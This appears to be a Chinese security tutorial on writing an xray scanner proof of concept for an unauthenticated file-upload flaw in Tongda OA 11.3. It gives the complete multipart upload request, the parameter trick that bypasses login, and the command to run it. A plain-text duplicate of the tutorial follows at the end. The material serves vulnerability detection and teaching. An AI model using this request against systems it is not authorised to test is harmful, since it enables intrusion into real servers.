写一个POC的过程思路参考
字数 1104 2025-08-10 08:28:21

通达OA 11.3文件上传漏洞POC编写教学文档

一、环境准备

1. 编辑器配置

  • 使用VSCode作为编辑器
  • 安装YAML插件
  • 配置settings.json文件:
    {
      "yaml.schemas": {
        "https://raw.githubusercontent.com/chaitin/xray/master/docs/static/schema/poc-yaml.json": "poc-yaml-*.yml"
      }
    }
    
  • 创建以poc-yaml-开头且.yml为扩展名的文件
  • 确保右下角出现"POC check"提示,表示规则获取正常

二、漏洞分析

1. 漏洞基本信息

  • 目标系统:通达OA 11.3版本
  • 漏洞类型:文件上传漏洞
  • 利用点:/ispirit/im/upload.php
  • 默认端口:8080

2. 黑盒测试分析

  • 上传成功的关键参数:

    • UPLOAD_MODE
    • P
    • DEST_UID
    • ATTACHMENT(上传文件字段)
  • 参数验证结果:

    • P参数外,其他参数不正确仍可能上传成功
    • P参数不正确时,上传会失败

3. 白盒分析

  • 关键逻辑:
    1. 参数P不为空时,可绕过auth.php的登录验证
    2. DEST_UID为0时,UPLOAD_MODE必须为2
    3. ATTACHMENT是上传文件的关键字段
    4. DEST_UID不为0时,UPLOAD_MODE可为1、2或3

三、POC编写

1. 基本结构

name: poc-yaml-tongdaoa-upload
manual: true
transport: http
set:
  s1: randomLowercase(8)
  rBoundary: randomLowercase(16)
rules:
  r1:
    request:
      cache: false
      method: POST
      path: /ispirit/im/upload.php
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rBoundary}}
      body: |-
        ------WebKitFormBoundary{{rBoundary}}
        Content-Disposition: form-data; name="UPLOAD_MODE"
        
        2
        ------WebKitFormBoundary{{rBoundary}}
        Content-Disposition: form-data; name="P"
        
        123
        ------WebKitFormBoundary{{rBoundary}}
        Content-Disposition: form-data; name="DEST_UID"
        
        1
        ------WebKitFormBoundary{{rBoundary}}
        Content-Disposition: form-data; name="ATTACHMENT"; filename="{{s1}}.jpg"
        Content-Type: image/jpeg
        
        hello upload-POC
        ------WebKitFormBoundary{{rBoundary}}--        
    expression: response.status == 200 && response.body_string.contains("+OK")
expression: r1()
detail:
  author: tongdaoa-upload
  links:
    - https://www.codenong.com/cs105166034/

2. 关键组件说明

set部分

  • s1: 生成8位随机小写字母,用作文件名
  • rBoundary: 生成16位随机小写字母,用作表单边界

rules部分

  • r1: 定义请求规则
    • method: POST方法
    • path: 漏洞利用路径
    • headers: 设置Content-Type,包含随机边界
    • body: 构造上传表单,包含四个关键参数

expression部分

  • 验证条件:响应状态码为200且响应体包含"+OK"字符串

detail部分

  • 包含作者信息和参考链接

四、调试与验证

1. 配置调试环境

  1. 在xray配置文件中添加Burp Suite监听IP和端口
  2. 禁用Burp Suite的拦截功能
  3. 将POC文件放入xray文件夹

2. 执行POC

xray_windows_amd64.exe ws --poc yaml-xxxx.yml --url http://ip:port

3. 验证成功标志

  • 输出中包含detail部分信息

五、常见问题排查

  1. 参数大小写问题

    • 确保所有参数名称使用大写(如P而不是p
  2. 边界值问题

    • 确保表单边界格式正确,包含------前缀和后缀--
  3. 响应验证

    • 检查响应状态码是否为200
    • 检查响应体是否包含"+OK"字符串
  4. 随机值生成

    • 确保set部分正确生成随机文件名和边界值
  5. Content-Type设置

    • 确保headers中的Content-Type与body中的边界一致

六、参考资源

  1. Xray官方文档 - 文件上传POC编写
  2. Xray POC模板
  3. 通达OA漏洞分析
  4. 通达OA漏洞利用
通达OA 11.3文件上传漏洞POC编写教学文档 一、环境准备 1. 编辑器配置 使用VSCode作为编辑器 安装YAML插件 配置 settings.json 文件: 创建以 poc-yaml- 开头且 .yml 为扩展名的文件 确保右下角出现"POC check"提示,表示规则获取正常 二、漏洞分析 1. 漏洞基本信息 目标系统:通达OA 11.3版本 漏洞类型:文件上传漏洞 利用点: /ispirit/im/upload.php 默认端口:8080 2. 黑盒测试分析 上传成功的关键参数: UPLOAD_MODE P DEST_UID ATTACHMENT (上传文件字段) 参数验证结果: 除 P 参数外,其他参数不正确仍可能上传成功 当 P 参数不正确时,上传会失败 3. 白盒分析 关键逻辑: 参数 P 不为空时,可绕过 auth.php 的登录验证 当 DEST_UID 为0时, UPLOAD_MODE 必须为2 ATTACHMENT 是上传文件的关键字段 当 DEST_UID 不为0时, UPLOAD_MODE 可为1、2或3 三、POC编写 1. 基本结构 2. 关键组件说明 set 部分 s1 : 生成8位随机小写字母,用作文件名 rBoundary : 生成16位随机小写字母,用作表单边界 rules 部分 r1 : 定义请求规则 method : POST方法 path : 漏洞利用路径 headers : 设置Content-Type,包含随机边界 body : 构造上传表单,包含四个关键参数 expression 部分 验证条件:响应状态码为200且响应体包含"+OK"字符串 detail 部分 包含作者信息和参考链接 四、调试与验证 1. 配置调试环境 在xray配置文件中添加Burp Suite监听IP和端口 禁用Burp Suite的拦截功能 将POC文件放入xray文件夹 2. 执行POC 3. 验证成功标志 输出中包含 detail 部分信息 五、常见问题排查 参数大小写问题 确保所有参数名称使用大写(如 P 而不是 p ) 边界值问题 确保表单边界格式正确,包含 ------ 前缀和后缀 -- 响应验证 检查响应状态码是否为200 检查响应体是否包含"+OK"字符串 随机值生成 确保 set 部分正确生成随机文件名和边界值 Content-Type设置 确保headers中的Content-Type与body中的边界一致 六、参考资源 Xray官方文档 - 文件上传POC编写 Xray POC模板 通达OA漏洞分析 通达OA漏洞利用